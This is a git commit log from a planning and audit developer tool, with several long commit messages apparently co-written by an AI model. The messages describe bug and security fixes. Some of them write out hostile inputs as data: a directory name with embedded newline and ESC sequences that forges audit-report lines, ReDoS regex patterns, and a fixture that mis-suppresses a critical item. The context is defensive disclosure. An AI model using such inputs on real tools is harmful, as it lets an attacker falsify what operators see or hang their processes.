Tom Boucher	abf3cf7c25	fix(#3458): scan archived milestone phases, and make [A] Acknowledge actually suppress (#3555) ... * fix(#3458): scan archived milestone phases in the four audit-open scanners `query audit-open` resolved exactly one phase root, `.planning/phases/`. When a milestone closes its phase directories move to `.planning/milestones/v<X.Y>-phases/`, so an item still unresolved at that moment — the `[R]/[A]/[C]` prompt accepts "accept" and "carry forward", not only "resolve" — became invisible to the v1.1 pre-close audit and every audit after it. The window in which an unresolved item is visible to this gate was exactly one milestone wide, and nothing announced when it closed. Reproduced before fixing, with byte-identical artifacts in the two layouts and the active layout as the control: active → has_open_items=true deferred=1 uat_gaps=1 total=2 archived → has_open_items=false deferred=0 uat_gaps=0 total=0 `scanDeferredItems`' own doc comment names this as the thing it was built to prevent — "phase directories archive to `milestones/vX.Y-phases/` (#1871) and the entry leaves the live tree having never been triaged" — while the implementation eleven lines below cannot read that path. It catches an entry at its own milestone close and goes blind at precisely the transition the comment describes. This is not cosmetic under-reporting. `auditOpenArtifacts` sums all nine category counts into `counts.total` and returns `has_open_items: counts.total > 0`, so four blind scanners can flip the gate's headline boolean and let `/gsd-complete-milestone` assert a clean close it never verified. In a fully-archived project `.planning/phases/` may not exist at all, and the scanners' `if (!fs.existsSync(phasesDir)) return []` produced a value indistinguishable from "nothing is open". ## One enumeration, not four The four scanners each hand-rolled the same active-only walk. They now share `listAuditPhaseTargets(planDir, cwd)`, which yields both roots — the shape of fix epic #3473's B2 asks for, and the reason the fix is one seam rather than four edits. Three properties are load-bearing: * the ACTIVE enumeration is unchanged — still a raw `readdirSync`, NOT `listMilestonePhaseDirs`. These scanners are deliberately not milestone-filtered today, and switching would silently add window and sentinel filtering: a behavior change belonging to #3372, not here. * a missing or unreadable active root skips that half instead of returning early. That early return WAS the bug in a fully-archived project. * archived dirs are deliberately NOT milestone-filtered, per the comment `src/uat.cts` already carries: archived phases belong to past milestones by definition, so applying the current-milestone filter discards every one and silently reinstates this bug. Each item now carries `archived_milestone` when it comes from a closed milestone, matching how the sibling module already labels archived results — without it an operator triaging `[R]/[A]/[C]` cannot tell a live item from one carried over. Additive: no existing test or doc asserted an exact key set. `scripts/lint-phase-enumeration-drift.cjs`'s exemption list for this file drops from the four scanner names to the single helper, since that is now the only place the enumeration lives. ## Tests Written failing-first and confirmed red for the right reason before the fix, all four driven through the real `audit-open` CLI rather than private functions: archived-only (was 0/0/0/0 with `has_open_items=false`, now 1/1/1/1 true), mixed active+archived (was 1/1/1/1 — the archived half dropped — now 2/2/2/2), active-only unchanged, and an all-resolved archived phase contributing 0. That last one passed vacuously before the fix, because the archived path was not reached at all; it was re-verified as genuinely discriminating afterward by flipping one archived item to unresolved and watching the count rise. Closes #3458 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#3458): restore the scan_error sentinel and show archive provenance Adversarial review found one BLOCKER that the previous revision introduced, which a green remote-runner suite did not catch because nothing in the tree asserts `scan_error` at all. ## The regression Consolidating four hand-rolled walks into `listAuditPhaseTargets` swallowed the active-root `readdirSync` throw in a bare `catch {}`. Pre-fix each scanner returned `[{scan_error: true, …}]`; after, each returned `[]`. Measured with `.planning/phases` created as a FILE (so `existsSync` passes and `readdirSync` throws ENOTDIR): before this fix: uat_gaps/verification_gaps/context_questions/deferred_items each `[{"scan_error":true,…}]` the regression: each `[]` `complete-milestone.md` re-runs `audit-open --json` and reads those counts, so a machine consumer could no longer tell "I/O failed" from "verified clean" — the exact conflation this issue exists to remove, reintroduced on the failure path. `listAuditPhaseTargets` now reports `activeUnreadable` and each scanner pushes the sentinel shape recovered verbatim from `origin/next`, not reinvented. The docstring claiming the active enumeration was "UNCHANGED" was false while that sentinel was missing, and is corrected to state what is actually preserved. An unreadable ARCHIVED root deliberately gets NO sentinel: there was no archived read before, so there is no consumer contract to preserve, and adding one would conflate the ordinary "no milestones archived yet" state with a real I/O failure. ## The operator could not see the archive `formatAuditReport` is the surface the gate actually shows a human — `complete-milestone.md` runs it without `--json` — and it never rendered `archived_milestone`. With `01-alpha` in both roots the identical line printed twice with nothing to tell them apart, and `[R] Resolve` sends the operator to `.planning/phases/01-alpha/` where the archived one does not exist. Phase numbering restarts at `01` after each archive, so that collision is the common case, not an edge case. All four loops now render ` (archived vX.Y)`; active lines stay byte-identical. ## Archived milestones sorted wrong `getArchivedPhaseDirs` ordered milestones with `.sort().reverse()` — lexicographic, so `v1.9` outranked `v1.10`. Measured order for v1.0/v1.9/v1.10 was `v1.9, v1.10, v1.0`. Now a numeric-segment descending compare. Pre-existing, but this change is what first surfaces it in audit output. ## Tests The blocker's regression test fails against the previous revision. Added: `archived_milestone` present on archived items and absent (not `undefined`) on active ones; the unreadable-active-root sentinel across all four categories; an unreadable archived root still leaving the active half scanned; the duplicate-name case producing two distinct entries that the human report distinguishes; and the v1.10-before-v1.9 ordering. `docs/COMMANDS.md` documents the archived scanning and the new field. Closes #3458 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#3458): stop filesystem names forging lines in the audit report Found by the security review of this branch. Pre-existing on `next`, fixed here because it defeats the exact gate this PR is hardening. `audit-open`'s human report is the surface `/gsd-complete-milestone` shows an operator to decide whether a milestone may close. A `.planning/` tree authored by someone other than that operator — a cloned repo — could contain a directory literally named: zz<newline>0 open items require decisions.<newline><ESC>[2K<ESC>[1G FORGED and the report printed `0 open items require decisions.` as its own line, with raw ESC bytes reaching stdout able to erase or overwrite the lines above it. Reproduced against the real CLI before fixing, and again after. ## Why not just harden sanitizeForDisplay Because that helper's contract is multi-line prose — it removes protocol-leak lines while deliberately preserving the newlines between legitimate ones, which `tests/security.test.cjs` pins. Stripping CR/LF there would have broken a correct test to paper over a different problem. The two jobs are genuinely different, so there are now two helpers. New `sanitizeLabel` (`src/security.cts`) is for values that are semantically ONE LINE and derived from a filesystem NAME. It ESCAPES rather than strips C0 (including ESC/CR/LF), DEL and C1, so a doctored name renders visibly as `\n` / `\x1b` instead of being silently normalized — the report stays honest about what is in the tree. Ordinary input passes through byte-identical. ## Nine sites, not four The first pass covered the four phase-scoped scanners. A sweep of the rest of the file found the identical class in five more — `scanDebugSessions`, `scanQuickTasks`, `scanThreads`, `scanTodos`, `scanSeeds` — emitting name-derived `slug` / `filename` / `seed_id` through the prose sanitizer. `scanQuickTasks`' `date` had no sanitization call at all. Every emitted field in the file is now classified and the sweep recorded: `slug`, `filename`, `seed_id`, `phase`, `file`, `archived_milestone`, `date` are name-derived and take `sanitizeLabel`; `hypothesis`, `status`, `updated`, `title`, `priority`, `area`, `summary`, `questions[]` and deferred-item `text` are content and keep `sanitizeForDisplay`. No name-derived value reaches output unsanitized. `--json` was already safe — JSON string encoding escapes control characters, and a crafted name cannot break out of the string. Verified rather than assumed. Closes #3458 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * chore(#3458): backfill changeset pr number * test(#3458): skip control-character fixtures where the OS forbids the name CI red on `test (windows-latest, 24, shard 1/3)`: the four forgery-rejection tests build directories whose names embed a newline and ESC, and NTFS forbids control characters in path components, so `mkdir` threw ENOENT. The remote runner is Linux-only, so it could not have caught this class. Semantically the skip is honest rather than a workaround: on Windows the directory-name forgery vector does not exist, because the OS refuses to create the name. The sanitizer's own behavior stays covered there by the `sanitizeLabel` unit tests, which are pure string tests with no filesystem calls — verified. Uses the repo's established capability-probe convention (`tests/adr-index-gate.test.cjs`'s `trySymlink`), which `t.skip()`s on the real errno rather than branching on `process.platform`, and whose comment gives the reason: a bare `return` "would silently report a PASS ... and hide the gap this guard exists to close". A skipped test is visibly skipped. Swept every test added on this branch for names Windows would reject or POSIX path assumptions; these four were the only ones. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * feat(#3458): make [A] Acknowledge actually suppress, without overwriting a verdict Making archived phases visible exposed the other half of the problem: an item unresolved at a milestone close now resurfaces at every later close forever, because `[A] Acknowledge` wrote a prose block to STATE.md that `auditOpenArtifacts` never reads. `verified_closeout` became unreachable and the gate degraded to a mandatory `[A]` every time. ## The prompt does not change `[A] Acknowledge all` already promises "document as deferred and proceed with close". It documented but never deferred. This makes `[A]` do what it says. `[R]` and `[C]` stay abort paths. No "carry forward" option is invented — an item that is not acknowledged simply keeps surfacing, which is the default. ## The marker lives inside the artifact Not a ledger. The audit mints no ids and has no stable identity — `phase` is a token that collides across directories, `file` for deferred items is a constant, and identity otherwise degrades to the item's own prose after a lossy sanitizer. Any ledger must re-derive that key every close, so a reworded item silently un-suppresses or, worse, mis-suppresses a different one. Storing the acknowledgment next to the thing it suppresses makes that class of bug structurally impossible, and it is the pattern `src/uat.cts` already argues for with `deferred-items.md`'s in-place `status: resolved`. ## The marker is verdict-preserving and self-invalidating `status:` is never overwritten — writing `resolved` into an unresolved UAT would be a lie in the artifact of record, and the disclosure has to be additive. audit_acknowledged: milestone: v1.0 at: 2026-08-15 status: gaps_found # snapshot of what was true when acknowledged Suppression applies ONLY while the snapshot still matches reality: `status` for seven categories, `question_count` for context questions, and for deferred items a new per-entry `status: acknowledged` distinct from `resolved`, which keeps meaning "actually fixed". Change the artifact and the acknowledgment stops applying, so the item comes back on its own. That is what makes re-opening answer itself with no extra state, and it fails in the safe direction: a stale acknowledgment can never hide a NEW problem. A malformed marker is treated as absent — a bad marker must never silence an item. The check is ONE shared `isAuditItemAcknowledged`, not nine copies. This file has already been through that defect family twice in this PR. ## Observable, not silent `audit-open --json` now reports an `acknowledged` count beside `counts`, so a reviewer can tell a close that is clean because things were fixed from one that is clean because things were silenced. ## Writer New `audit-open acknowledge` verb snapshots current state itself, so the marker is never hand-authored from workflow prose — the gap that left the STATE.md block with no writer, no schema and two conflicting formats. Writes route through the existing path-confinement seam. ## Two deliberate limits, failing closed Heading-delimited deferred entries (#3457) are REFUSED with `unsupported_heading_shape` rather than edited, because mapping a heading entry back to its exact source span is not safely derivable when headless and heading entries interleave in one file. A loud refusal beats a mis-targeted write. A quick task with no summary gets one created to carry the marker, since there is otherwise nowhere to put it. ## Tests Self-invalidation is the important one and is covered per category: acknowledge, then change the status or question count, and the item resurfaces. Also malformed markers not suppressing, `status:` byte-unchanged after acknowledging, the writer refusing a path outside the project, and the four original #3458 scenarios unchanged. Closes #3458 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * feat(#3458): wire [A] to the acknowledge verb and converge the disclosure table Consumer side of the suppression seam. ## The workflow stops hand-authoring the mechanism `[A]` now calls `audit-open acknowledge` once per open item, then writes the STATE.md `## Deferred Items` table as before. The table stays as a human-readable disclosure; it is no longer the mechanism. That closes the gap where the block had no writer, no schema and no reader — the marker is now written by the tool, which snapshots current state itself. The `[R]` / `[A]` / `[C]` prompt is unchanged, `[C]` still means "Cancel — exit without closing", and no carry-forward option is invented. The all-clear branch now distinguishes a close that is clean because items were FIXED from one that is clean because they were ACKNOWLEDGED, using the `acknowledged.total` count, and carries that into the MILESTONES.md disclosure line beside the existing override count. A clean close that was bought with acknowledgments should say so. ## Format drift resolved Two incompatible `## Deferred Items` shapes shipped simultaneously — 3 columns in the workflow, 4 in the template, with different body lines. Converged on one 5-column shape carrying the source Milestone, since archived items now appear and the archived-milestone disambiguator was previously discarded at write time. The workflow enumerates the categories instead of trailing off in `...`. ## Ack fragment bookkeeping `complete-milestone.md` grows 6,764 bytes (31,228 → 37,992; cap 61,440), covered by a new `tests/emitted-drift-acks/3458-*.json`. `2962-zsh-nomatch-for-glob-portability.json`'s `complete-milestone.md` entry is REMOVED — the no-duplicate-path rule hard-blocks two sources naming one path. That entry is spent: the nullglob shim it acknowledges is present in both `origin/next` and the CI emitted baseline `fd2b97a5`, so its ripple is already absorbed and it can never clear anything again — verified directly, not assumed, and the gate's own message directs deleting spent entries. Its other three files' entries are untouched. `scripts/sync-runtime-launcher.cjs` wanted to rewrite `explore.md` as well — pre-existing drift unrelated to this change, reverted. `complete-milestone.md` still carries exactly one canonical preamble. Docs cover the verb's real flag surface, the marker's verdict-preserving and self-invalidating behavior, and the new `acknowledged` count. A second `Added` changeset covers the verb, since the existing `Fixed` fragment describes only the archived-phase scanning. Closes #3458 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#3458): close three blockers in the acknowledgment seam Adversarial review of the seam. Three BLOCKERs, one of which disproves a safety claim I published in the PR body, the changeset and the docs. ## The claim was false; the code is fixed rather than the claim softened I wrote that "a stale acknowledgment can never hide a NEW problem". It could. `context_questions` snapshotted only the question COUNT, so replacing two acknowledged questions with two brand-new blockers kept the item suppressed. `uat_gaps` snapshotted only `status`, so adding five more pending scenarios (`open_scenario_count` 1→6) kept it suppressed. The snapshot now identifies CONTENT, not size: a digest of the whole question set, and a status + open-scenario-count composite. Any edit invalidates. The other seven categories were checked and their single tracked dimension is already the whole story. Both disproofs now resurface the item. ## Writing to the wrong line, and reporting success `acknowledgeDeferredItem` built an unanchored regex and exec'd it over the whole file while match-selection and the ambiguity guard ran over the section body only, so the write landed at the first match ANYWHERE. A file with `# Notes` holding `- Fix the parser` above a `## Deferred Items` section holding the same bullet: the CLI exited 0 saying `acknowledged: true`, injected `status: acknowledged` under `# Notes`, and re-audit still reported the entry open. It corrupted unrelated content, suppressed nothing, and claimed success — and since `--file` is unconstrained the same path could inject into a UAT or VERIFICATION body. Matching is now anchored to the selected section, and the matched span is re-verified against the selected entry before any write; a mismatch refuses with `match_verification_failed` rather than writing. ## Acknowledging todos hid the ones never shown `scanTodos` capped at five files and then checked acknowledgment. With seven todos, acknowledging the five that were LISTED drove `todos: 0`, `has_open_items: false`, and items six and seven never appeared in any later scan. The workflow's own "repeat until no todos items" remedy terminates after one pass. Pre-feature this was unreachable because the count was pinned at five. That is silent over-suppression — the exact direction this PR exists to remove. Acknowledged items are now filtered BEFORE the display cap, so unacknowledged todos beyond it still drive the count. ## The [A] branch could not fail closed Every acknowledge call sat in a `cmd | while read` pipeline with no status accumulation, so any refusal was discarded and the close proceeded as `override_closeout`. Separately, `io.output` swaps payloads over 50000 chars for an `@file:<path>` sentinel — every `jq` would then fail, every loop body run zero times, nothing be suppressed, and the close happen anyway. Both closed: failures accumulate across all invocations and halt before close, and the sentinel is dereferenced using the same pattern `verify_readiness` already uses for `INIT_MANAGER`. Quoting was verified sound by the review and is left alone. ## Also Suppression is now visible in the human report, not only `--json` — the "clean because fixed vs clean because silenced" distinction was promised for the surface an operator actually reads. The CRLF-preservation branches in the writer were dead: every `.md` write goes through `_normalizeMd`, which normalizes line endings and blank lines whatever the writer does. Deleted and documented rather than left as code that cannot run. ## Why these shipped The review named it exactly: there was no coverage for `unsupported_heading_shape`, `ambiguous`, `not_found`, duplicate-text mis-targeting, todos beyond the cap, or CRLF. All are now tested, alongside both snapshot disproofs and the mixed-section fixture. Closes #3458 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * test(#3458): align the items-open footer wording with its assertion Remote runner red on one test: the items-open footer must match `/previously acknowledged item/i`. The disclosure was NOT missing — the items-open branch already printed "N additional items previously acknowledged and still suppressed." The word order simply did not match the regex the test in the same change asserts. A wording mismatch between my own test and my own implementation, not a behavior gap. Reworded to "N previously acknowledged items also suppressed above the M open items", which satisfies the assertion and states the relationship between the two counts more plainly than the original did. Swept `formatAuditReport` for other branches that could skip the tally: the only early return is the all-clear path, which already discloses it. `scan_error` sentinels are filtered per category and excluded from `counts.total`, so an all-error project falls through to that same branch. No inconsistency remains. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#3458): splice by carried span, digest the untruncated question set Security review of the writer. Both findings are the same shape, and both are cases where an earlier fix of mine was incomplete in the same direction: a value derived for DISPLAY was reused for an IDENTITY or LOCATION decision. ## Writing to the wrong entry, again The previous fix anchored matching to the `## Deferred Items` SECTION but still re-found the entry inside it with an unanchored regex, so the write landed at the first SUBSTRING occurrence rather than the entry's own span. The `match_verification_failed` guard could not catch it, because the mis-targeted span is byte-identical to the target. Probe-confirmed, in a cloned repo's own artifact: - CRITICAL unfixed auth bypass see also: - minor typo - minor typo Acknowledging "minor typo" appended `status: acknowledged` into the CRITICAL entry, suppressing it at every future close, while the typo stayed open — exit 0, `"acknowledged": true`. A variant where the target text appears inside unrelated prose split that line mid-sentence, acknowledged nothing, and still exited 0, so the workflow's `ACK_FAILURES` halt never fired. Fixed structurally rather than with a better regex: `splitGapsEntriesWithSpans` carries each entry's own character span out of the splitter, and the write splices by that recorded span. The location is already known at selection time — re-deriving it by searching was the entire defect class. Added as a sibling so `splitGapsEntries`' three existing callers are untouched. With index-splicing, `match_verification_failed` becomes a genuine independent cross-check instead of a guard that could never fire. ## The digest was blind past the third question `deriveOpenQuestions` truncated to three questions, and clamped each to 200 chars, BEFORE the digest hashed it — so the snapshot could not see the fourth and later. Ship three innocuous questions, acknowledge, then add real blockers, and they are permanently invisible: measured `open=0, acknowledged=1`, report "All artifact types clear." That is the same self-invalidation property this digest was added to guarantee one revision ago. The digest now covers the untruncated list; truncation is display-only. Found while fixing it: the previous digest joined on a literal raw NUL byte embedded in the source — collisions are constructible, and reachable through attacker-controlled YAML `\x00` escapes. Verified both ways. Replaced with a length-prefixed encoding so no two question sets can collide by concatenation. ## Sweep Because this is the third incomplete fix on this seam, every identity and location derivation was swept for the display-vs-identity confusion: uat_gaps uses status plus a full-content count, the other seven categories use a scalar status or presence, the deferred `--text` identity is never truncated, and all five flat categories resolve their file by path rather than by content search. No further instances. Closes #3458 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * test(#3458): correct two assertions that over-reached the measured behavior Remote runner red on two of the F1 tests. The source is correct — reproduced both fixtures against the built CLI — and both failures were bugs in the assertions I wrote. `src/` is untouched by this commit. The first is worth recording. It computed the CRITICAL entry's block as content.slice(content.indexOf('- CRITICAL'), content.indexOf('- minor typo')) and `indexOf` found the FIRST SUBSTRING occurrence, which lives inside that entry's own continuation line ` see also: - minor typo`. The block was truncated mid-line, so the assertion could never match. The test committed the exact first-substring-match mistake it exists to catch, one revision after that mistake was fixed in the source. The second asserted `deferred_items === 0` after acknowledging the typo entry, but the decoy `- Note: reference - minor typo elsewhere, ignore` is itself an open entry and was never acknowledged, so the correct count is 1. It now also asserts WHICH item remains open — that is what actually proves the right entry was suppressed, and the original assertion would have passed even if both had been silenced. Both now derive their expectations from measured CLI output. A comment records that the write seam normalizes markdown (`_normalizeMd` inserts a blank line before a list item following a non-list line) so the inserted line is not later mistaken for a regression; that is repo-wide behavior for every `.md` write through the single write projection, not something this change should diverge from. Root cause of both: the previous two dispatches verified behavior with direct CLI probes but never executed the test file, so assertions could over-reach what had actually been measured. Every other assertion added in those two commits has since been re-derived from real output; no further mismatches. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> --------- Co-authored-by: sim <sim@local> Co-authored-by: Claude Opus 5 <noreply@anthropic.com>	2026-08-15 17:00:52 -04:00
Tom Boucher	bc9a22868f	docs(#3530): correct model/effort precedence claims in model-profiles.md (#3536) ... * docs(#3530): correct model/effort precedence claims in model-profiles.md * chore(#3530): backfill changeset pr number --------- Co-authored-by: sim <sim@local>	2026-08-15 07:15:32 -04:00
sim	147856040b	fix(#2873): close review findings across fences, sanitizer and docs ... Isolated security review found resolveSpecRootReference's fence tracker toggled on any delimiter, so a backtick fence could be closed by a tilde one and an include in the gap was rewritten inside a code block. Fixed by reusing scanFencedBlocks - the canonical engine already behind stripFencedCode and extractFencedBlock - rather than carrying a fourth copy of fence detection, which also closes the duplication the standards review flagged. sanitizeForRender now strips combining marks and zero-width characters alongside the ANSI, control and bidi classes it already handled. Adds the C, E and F matrix rows the spec review found missing, including installer-level coverage that spawns the real install rather than calling the report builder. Ships the how-to, the reference and command docs in five locales, the changeset, the inventory and glossary entries, and regenerates health.md for the new W028 rule. Refs #2873	2026-08-14 23:48:39 -04:00
Tom Boucher	8fc88f663d	fix(#3210): gate unmet preconditions as blocking-human; cap blocker retries at needs_human (#3528) ... * fix(#3210): gate unmet preconditions as blocking-human and cap blocker retries at needs_human * chore(#3210): add changeset fragment for PR #3528 * fix(#3210): restore blocking-human carve-out and CRLF-safe split --------- Co-authored-by: sim <sim@local>	2026-08-14 23:01:30 -04:00
Tom Boucher	49b60070a0	fix(#3503): derive the code-review diff base from GSD's own commit scopes, not prose mentions (#3526) ... * fix(#3503): derive the code-review diff base from GSD's own commit scopes, not prose mentions The #2989/#3191 anchor ('[Pp]hase N' + POSIX boundary) still resolved the phase diff base ~4 phases early on real repos: git log --grep searches full commit bodies and tail -1 keeps the OLDEST match, so a single prose mention anywhere in history (a planning commit forward-referencing the phase per D-09, a doc commit using '### Phase N' as a format example) silently captured the base — while GSD's own commits, which use conventional-commit scopes (docs(phase-6):, feat(6-01):, docs(06):) and never contain the literal 'Phase N', were matched by nothing. The wrong base inflated the Tier-3 file-list fallback, the #2666 SUMMARY/diff union, the reviewer agent's diff_base, and fallow's --changed-since scope, with no warning. All three derivation sites (Tier-3 fallback, spawn_reviewer, fallow structural pre-pass) now grep for the subject-line conventional-commit phase scope under --extended-regexp, in lockstep per the #3191 contract: ^[[:alpha:]]+!?\((phase-)?(N|0N)(-[0-9]+)?\)!?: PHASE_SCOPE_NUM accepts both padded and unpadded phase spellings because workflows emit the unpadded roadmap number (docs(phase-6):) while code-review greps the zero-padded PADDED_PHASE. The ^ anchor makes it a subject-line match, so commit-body prose can never capture the base. The POSIX-ERE portability rule (#3191, no \b), the fail-closed empty-result warning, and the --files escape hatch are preserved: histories with no scope-style commits yield no base instead of an arbitrary one. Tests (tests/code-review-pipeline-regression.test.cjs): new Bug 6 (#3503) block executes the SHIPPED bash from all three sites against a real git fixture whose history carries every prose false-positive class from the issue — red pre-fix (the prose-body commits captured the base at every site), green post-fix. The Bug 5 (#3191) block is updated to the scope anchor contract (its fixtures bound to the shipped text), and its T6 docs-parity guard now enforces the identical scope-anchored grep plus the PHASE_SCOPE_NUM prep at every git-log site. Emitted drift: 3503-diff-base-scope-anchor.json acks the deliberate workflow growth; the spent 3191-unanchored-grep-sites.json fragment (its code-review.md entry was consumed when #3191 merged) is pruned. * chore(#3503): add changeset fragment for PR #3526 * fix(#3503): rebase onto next and correct the emitted-drift ack Rebase onto origin/next@6badb839 (PR freshness: #3514/#3516 landed after this branch was cut). Post-rebase the attribution gate classifies the two source-path ack entries (gsd-core/workflows/code-review.md, structural- pre-pass.md) as stale — source files present in the diff are identity- attributed by the table, so only the emitted code-review.md basename growth needs an acknowledgment. The fragment now names exactly that one consumed entry. --------- Co-authored-by: sim <sim@local>	2026-08-14 23:01:00 -04:00
Tom Boucher	ddf852873c	fix(#3357): one phase-pinned resolver for verification-report discovery (#3513) ... A phase directory can hold more than one `*-VERIFICATION.md` — an ad-hoc `03-CORRECTION-VERIFICATION.md` worksheet beside the real `03-VERIFICATION.md`. Discovery took the alphabetically-first match, so the worksheet won and the phase could report `missing` while a passing report sat next to it. The issue named two copies. There were seven, in four grammars: two `.sort()[0]` sites in the verification module, three `.find()` over UNSORTED readdir order (phase status, and `verification_path` twice — filesystem-dependent, so two machines on one commit could disagree), and two in shell. All seven now route through one exported `resolveVerificationFile`; the shell copies via a new `verification resolve-file` verb rather than hand-rolling the rule an eighth time. Fixing five of seven would have been worse than fixing none: the verify-work workflow is a WRITER that stamps `status: passed` onto the file it picks, so canonical-aware readers plus an alphabetical writer means the human_needed→passed canonicalization silently no-ops forever while the worksheet gets stamped. That divergence did not exist on next. The first resolver was itself a regression — it preferred ANY canonically-shaped name over the phase's own report, so a stray cross-phase or sentinel-numbered file outranked it. The global-canonical preference was removed rather than narrowed; the rule is pinned to the phase token via `PHASE_NUMBER_TOKEN_SOURCE`, its existing owner. Fixed in passing: the transition workflow's awk guarded on `NR==1` instead of `FNR==1`, so across a multi-file glob it armed only on the first file — a leading worksheet with no frontmatter blocked transition even when the canonical report passed. Also removed a U+00AD soft hyphen introduced earlier on this branch. Five broader-grammar AGGREGATE scans are deliberately out of scope — a different defect class (phase-unscoped scanning), tracked as #3511. Closes #3357 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>	2026-08-14 19:18:29 -04:00
Tom Boucher	71180983a0	fix(#3423): standardize on <required_reading>, retire the files_to_read emit tag (#3432) ... * fix(#3423): standardize on required_reading, retire files_to_read emit tag * test(#3423): flip tag assertions, extend consistency guard to spawner surfaces * fix(#3423): sweep capabilities fragments, regen registry+skills, anchor executor test * chore(#3423): acknowledge tag-rename emitted ripples and workflow growth * chore(#3423): broaden emitted-ripple acknowledgment to all embedders * chore(#3423): settle emitted-drift acks post-rebase (merge 3004/1689-owned keys) * chore(#3423): drop stale ripple acks, ack execute-phase growth * chore(#3423): restore pristine 3004 fragment, keep only consumed appends * chore(#3423): backfill changeset pr number * chore(#3423): settle emitted-drift acks post-merge (move code-review-fix ripple into 3190, tag-rename ripples into 3191/3297) * chore(#3423): re-arm 3324 ack for execute-phase.md tag-rename ripple * fix(#3423): trim 8 bytes from execute-phase model note to hold ADR-857 margin, re-arm 3370 ack for net +4 growth --------- Co-authored-by: sim <sim@local>	2026-08-14 16:03:48 -04:00
Tom Boucher	895d9df96d	fix(#3477): run untrusted key_links patterns on a linear-time engine (#3496) ... `cmdVerifyKeyLinks` compiled `must_haves.key_links[].pattern` from plan frontmatter with `new RegExp()` and tested it against whole file contents, so a nested-quantifier pattern such as `(a+)+$` hung `verify-phase` indefinitely (CWE-1333). JavaScript has no regex-execution timeout. Untrusted patterns now run on RE2 (re2js), whose match time is linear in input length — the class is closed by the engine, not by a heuristic screen. The screen lost in the ADR-0174 consolidation was deliberately NOT restored: it never worked, since `(a|a)*$`, `((a+))+$`, `(a+){2,}$` and `(a{1,3})+$` all evade it. A refused pattern's matcher returns false for every input, so it cannot report a match no matter what the caller does. The engine is vendored at gsd-core/bin/lib/vendor/re2js.cjs because gsd-core/bin/** is copied into installed trees with no node_modules; runtime dependencies are unchanged. New ESLint rule local/no-external-require-in-bin enforces that invariant, which had been documented in a comment since the #3024/#2071 bug class and enforced nowhere. Backreferences and look-around are unsupported by RE2 by construction — disclosed in a Changed changeset. Closes #3477 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>	2026-08-14 14:34:36 -04:00
0xdhx	27cad971d0	enhance(#2115): replace bare eval with llm eval and drop ai system in the AI-integration gate (#3431) ... * enhance(#2115): tighten AI-integration gate keywords per re-triage pin Apply the maintainer-pinned scope from the 2026-07-31 re-triage on #2115 exactly: `eval` -> `llm eval`, `ai system` dropped, every other token and the surrounding sentence byte-identical. Supersedes the stale-closed PR #3131, whose broader whole-word-matching rework went beyond the pin. * chore(#2115): set changeset fragment pr to 3431	2026-08-14 12:33:12 -04:00
Tom Boucher	967bddba37	fix(#3384): strip mcp__* tool grants from zcode-installed subagents (#3483) ... * fix(#3384): strip mcp__* tool grants from zcode-installed subagents ZCode's dispatcher treats every mcp__<server>__* entry in an agent's tools: frontmatter as a required MCP server and hard-fails the subagent spawn (CONFIGURATION_ERROR) when it is not connected, whereas Claude Code treats the same grants as an optional allowlist. ZCode shared Claude's verbatim agents copy (converter: null), so all 8 MCP-granted agents failed to spawn out of the box with zero MCP servers configured. Add convertClaudeAgentToZcodeAgent — a line-surgical converter that filters mcp__* entries out of the frontmatter tools: grant list (both inline comma and YAML block-list shapes) and preserves every other byte. Declare it on both of zcode's capability.json agents entries and cut zcode over to the descriptor-driven agents path (_DESCRIPTOR_AGENTS_RUNTIMES) so the legacy inline loop stops deleting+re-copying the converted agents raw. Claude Code, Kimi, and Gemini install behavior is unchanged. * chore(#3384): link changeset fragment to pr 3483 --------- Co-authored-by: sim <sim@local>	2026-08-14 11:49:01 -04:00
Tom Boucher	362d0434b2	fix(#3370): state checkpoint gate semantics in executor dispatch prompts (#3478) ... * fix(#3370): state checkpoint gate semantics in executor dispatch prompts * fix(#3370): set changeset pr to 3478 * fix(#3370): keep gate rule in routing fragment under phase-6 ceiling --------- Co-authored-by: sim <sim@local>	2026-08-14 11:42:22 -04:00
Tom Boucher	26f8015cc2	fix(#3448): thread next_action through debug auto-resume respawn (#3476) ... * fix(#3448): thread next_action through debug auto-resume respawn Both /gsd-debug auto-resume call sites (Section 1c continue-path return handling and Section 4's non-terminal branch) respawned the session manager with identical session_params, making every resume prompt-indistinguishable from a cold start: the checkpoint's recorded next_action and the disposition that any earlier checkpoint was already answered never reached the respawned agent. Two auto-resumes then made no progress and the (correct) no-progress guard stalled the loop. The respawn now carries resume: true, resume_status, and resume_next_action sourced from the checkpoint file; the session manager documents the params and its Step 2 gsd-debugger template forwards them via a DATA_START/DATA_END <resume_directive> (Step 3d's shape), instructing the debugger to proceed directly on the recorded next action without re-raising answered checkpoints. The anti-loop guard (next_action-only heuristic, 3-resume hard cap) is untouched. * chore(#3448): set changeset pr to 3476 --------- Co-authored-by: sim <sim@local>	2026-08-14 11:26:08 -04:00
Tom Boucher	a53a88ca13	fix(#3427): teach full-form depends_on ids in phase-prompt template (#3475) ... * fix(#3427): teach full-form depends_on ids in phase-prompt template * fix(#3427): point changeset fragment at pr 3475 --------- Co-authored-by: sim <sim@local>	2026-08-14 11:22:51 -04:00
Tom Boucher	5452f1a700	fix(#3324): build-time embed execution context instead of literal @-includes (#3462) ... * fix(#3324): build-time embed execution context instead of literal @-includes * chore(#3324): add changeset * chore(#3324): set changeset pr reference * fix(#3324): trim embed note to stay under the 93400 margin ceiling --------- Co-authored-by: sim <sim@local>	2026-08-14 10:33:09 -04:00
Tom Boucher	9dd240f634	fix(#3302): return per-agent worktree metadata from workflow scripts (#3450) ... * fix(#3302): return per-agent worktree metadata from workflow scripts * fix(#3302): link changeset fragment to pr 3450 --------- Co-authored-by: sim <sim@local>	2026-08-14 09:28:22 -04:00
